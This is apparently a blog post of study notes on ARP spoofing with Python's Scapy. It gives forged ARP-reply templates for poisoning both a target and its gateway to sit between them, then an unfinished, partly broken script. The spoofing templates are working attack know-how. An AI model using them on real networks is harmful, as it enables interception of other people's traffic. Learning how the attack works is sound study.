Scapy-ARPspoof学习
2024-09-07 00:40:40
layout | title | tag | date |
---|---|---|---|
post
|
Scapy模块学习之ARP欺骗
|
Python
|
2018-05-08
|
from scapy.all import Ether,ARP,sendp,getmacbyip
Ether:用来构建以太网数据包 ARP:构建ARP数据包的类 sendp:在第二层发送数据包 getmacbyip:返回对应IP的MAC地址
### 核心部分:
##### 伪造网关 欺骗目标计算机:
Ether(src=[本机MAC],dst=[目标MAC])/ARP(hwsrc=[本机MAC],psrc=[网管IP],hwdst=[目标MAC],pdst=[目标IP],op=2)
ARP将网关IP地址映射到本机MAC上,针对dst即目标(dst值为空时,针对当前网段所有IP);Ether以网关身份向目标发包
##### 伪造目标计算机 欺骗网关:
Ether(src=[本机MAC],dst=[网关MAC])/ARP(hwsrc=[本机MAC],psrc=[目标IP],hwdst=[网关MAC],pdst=[网关IP],op=2)
ARP将目标IP地址映射到本机MAC上,针对网关;Ether以目标身份向网关发包(猜测psrc不填时,将伪造当前网段内所有IP的发包) op表示ARP响应
from scapy.all import Ether,ARP,sendp,getmacbyip,get_if_hwaddr
bjMAC=get_if_hwaddr(wk)
mbMAC=getmacbyip(mbIP)
wgMAC=getmacbyip(wgIP)
ether=Ether()
arp=ARP()
def arpSpoof(mbMAC,wgMAC,bjMAC):
try:
eth.src=bjMAC
eth.dst=wgMAC
未完待续...
最新文章
- <;<;<; request.getParameterMap()方法
- html与css面试结合工作的总结难点
- ireport5.6+jasperreport6.3开发(三)--以javabean为基准的报表开发(javabean)
- 第一零三天上课 PHP TP框架下控制器的方法分离
- sql with as用法详解
- springframwork历史版本下载地址
- Java进阶(二十八)SimpleDateFormat格式化日期问题
- win8 JDK环境变量不生效
- C# - 设计模式目录
- 《Odoo开发指南》精选分享—第1章-开始使用Odoo开发(1)
- varnish学习以及CDN的原理
- Leetcode SingleNumber I &; II &; III 136/137/260
- Confluence 6 临时目录(安装目录)
- lodash学习资料
- Java用四种方法实现阶乘n! (factorial)
- 为什么要使用yocto
- 【Tableau】电商广告投放的地域分析
- tclsh 用法
- 通过Servlet生成验证码图片(转)
- js学习笔记30----对象